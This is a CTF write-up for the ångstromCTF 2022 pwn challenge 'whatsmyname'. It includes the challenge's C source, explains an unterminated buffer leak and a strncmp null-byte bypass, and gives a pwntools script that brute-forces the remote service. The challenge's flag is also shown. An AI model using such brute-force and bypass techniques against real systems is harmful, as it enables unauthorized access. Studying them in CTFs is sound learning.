📖
CTF Wiki
  • 🚩Arne's CTF Writeups!
  • 2025
    • TUCTF
      • Forensics - Security Rocks
    • San Diego CTF
      • Crypto - RustSA
      • Misc - Triglot
  • 2024
    • Lexington CTF
      • Misc - a little bit of tomcroppery
    • Imaginary CTF
      • Web - Journal
    • Space Heroes CTF
      • Web - Antikythera
    • HTB Cyber Apocalypse
      • Pwn - Sound of Silence
      • Misc - MultiDigilingual
  • 2023
    • NahamConCTF
      • Mobile - Red Light Green Light
    • BucketCTF
      • Rev - Schematic
      • Rev - Random security
    • HTB Cyber Apocalypse
      • Rev - Cave System
      • Rev - Somewhat Linear
      • Pwn - Void
  • 2022
    • DownUnderCTF 2022
      • Cloud - Jimmy Builds a Kite
    • ångstromCTF 2022
      • Pwn - really obnoxious problem
      • Pwn - whatsmyname
    • Engineer CTF
      • Misc - Not really random
      • Misc - Broken Pieces
    • KnightCTF 2022
    • HTB CTF: Dirty Money
      • Forensics - Perseverance
  • 2021
    • MetaCTF CyberGames 2021
    • HTB - Cyber Santa
      • RE - Infiltration
    • Securebug CTF Thor 2021
      • Web - Tricks 1
      • Web - Tricks 2
      • RE - Hidden in Plain Sight
    • TFC CTF 2021
      • RE - Crackity
      • Pwn - Jumpy
      • Misc - Weird Friend
    • K3RN3L CTF 2021
      • Crypto - Pascal RSA
    • DamCTF 2021
      • Misc - library-of-babel
      • Pwn - cookie-monster
    • Killer Queen CTF 2021
      • Pwn - Tweety Birb
      • Forensics - Tippy Tappies
      • Pwn - I want to break free
    • BuckeyeCTF 2021
      • Web - pay2win
      • Misc - USB Exfiltration
Powered by GitBook
On this page
  • Description
  • Downloads
  • Solution
  1. 2022
  2. ångstromCTF 2022

Pwn - whatsmyname

50 points | 304 solves

Last updated 3 years ago

Description

Can you guess my name?

nc challs.actf.co 31223

Downloads

Solution

We are given 2 files, the binary and the source code itself.

The C source code:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

static void generate_name(char *str)
{
    FILE *file = fopen("/dev/urandom","r");
	fgets(str, 48, file);
	fclose(file);
}

int main(){
    char yourName[48];
    char myName[48];
    
    char guess[48];

    setbuf(stdout, NULL);

    generate_name(myName);

    printf("Hi! What's your name? ");

    int n = read(0, yourName, 48);
    if (yourName[n-1] == '\n') yourName[n-1] = '\x00';

    printf("Nice to meet you, %s!\n", yourName);

    puts("Guess my name and you'll get a flag!");

    scanf("%48s[^\n]", guess);

    if (strncmp(myName, guess, 48) == 0){
        char flag[128];

		FILE *file = fopen("flag.txt","r");
		if (!file) {
		    puts("Error: missing flag.txt.");
		    exit(1);
		}

		fgets(flag, 128, file);
		puts(flag);
    }

    puts("Bye!");
    return 0;
}

Initially I thought that the vulnerability was in line 25 where the yourName string buffer was not correctly null-terminated and since myName happens to be initialised right after yourName, if we send any string that is 48 characters long, the printf in line 27 should print our yourName string together with the randomly generated myName. I confirmed my theory by using gdb to dump out the randomly generated bytes and it works locally. However, when I tried it on the server it failed.

I knew there was another vulnerability which is in line 33, inside the strncmp function. The thing about strncmp was that it only compare strings up to their null terminator regardless of the length argument passed to the function (unless the max length is reached before the null terminator). Therefore, if the first byte of the randomly generated myName is null and if we pass in guess as null, the flag will be printed. The chance of this happening is 1/256 which is reasonably brute-force-able.

Hence, the final solve script:

from pwn import *
context.log_level = 'error'

while (True):
	r = remote("challs.actf.co", 31223)
	# r = process("./whatsmyname")

	# What's your name?
	out = r.recvuntil(b'name? ')

	name = b"arne"
	r.sendline(name)

	# Guess my name and you'll get a flag
	out = r.recvuntil(b'flag!\n')
	
	# Try sending null
	r.sendline(b'\x00')

	out = r.recv()
	if "actf" in out.decode():
		print(out)
		break

	r.close()
		
r.interactive()
r.close()

After a while,

Flag: actf{i_c0uld_be_l0nely_with_y0u_a21f8611c74b}

4KB
whatsmyname.zip
archive